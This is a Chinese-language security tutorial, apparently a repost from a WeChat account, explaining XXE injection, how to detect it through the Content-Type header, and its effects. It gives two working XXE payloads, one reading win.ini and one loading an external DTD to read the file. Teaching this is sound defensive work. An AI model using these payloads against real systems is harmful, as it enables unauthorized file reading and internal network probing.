OWASP TOP10之XXE

admin 2024年5月17日18:58:04评论2 views字数 1341阅读4分28秒阅读模式

点击蓝字,关注我们

什么是XXE?

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

漏洞原理

1、解析XML输入时没有禁止外部实体加载

2、没有对XML文件进行过滤,导致可以上传非正常文件

漏洞危害

1、文件读取

2、命令执行

3、内网端口扫描

4、攻击内网网站

XML的基础知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具(就是如果数据都放到html中的话整个html就会显得特别臃肿,由此,html只用来展示网页的页面,而XML则用来负责存储和传输相关的数据,各司其职)

XML结构

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是note类型的文档-->
<!ELEMENT note (to,from,head,body)> 
<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为“#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为“#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为“#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>Nice to meet you</body>
</note>

如何挖掘

Content-Type值判断

Content-Type: text/xml

Content-Type: application/xml

Content-Type: ajax/xml

更改Content-Type的值为text/xml或application/xml查看响应

漏洞案例

OWASP TOP10之XXE1、读取文件内容 (file协议)

<?xml version = "1.0"?> 
<!DOCTYPE ANY [ 
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"
]> 
<x>&xxe;</x>

OWASP TOP10之XXE2、引入外部实体dtd

<?xml version="1.0" ?> 
<!DOCTYPE test [ 
<!ENTITY % file SYSTEM "http://127.0.0.1:81/test.dtd"
%file; 
]> 
<x>&send;</x>

test.dtd内容如下

<!ENTITY send SYSTEM "file:///C:/Windows/win.ini">

成功加载外部实体dtd,读取win.ini文件

OWASP TOP10之XXE
OWASP TOP10之XXE
点点关注不迷路~

原文始发于微信公众号(TimeAxis Sec):OWASP TOP10之XXE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日18:58:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OWASP TOP10之XXEhttps://cn-sec.com/archives/2749338.html

发表评论

匿名网友 填写信息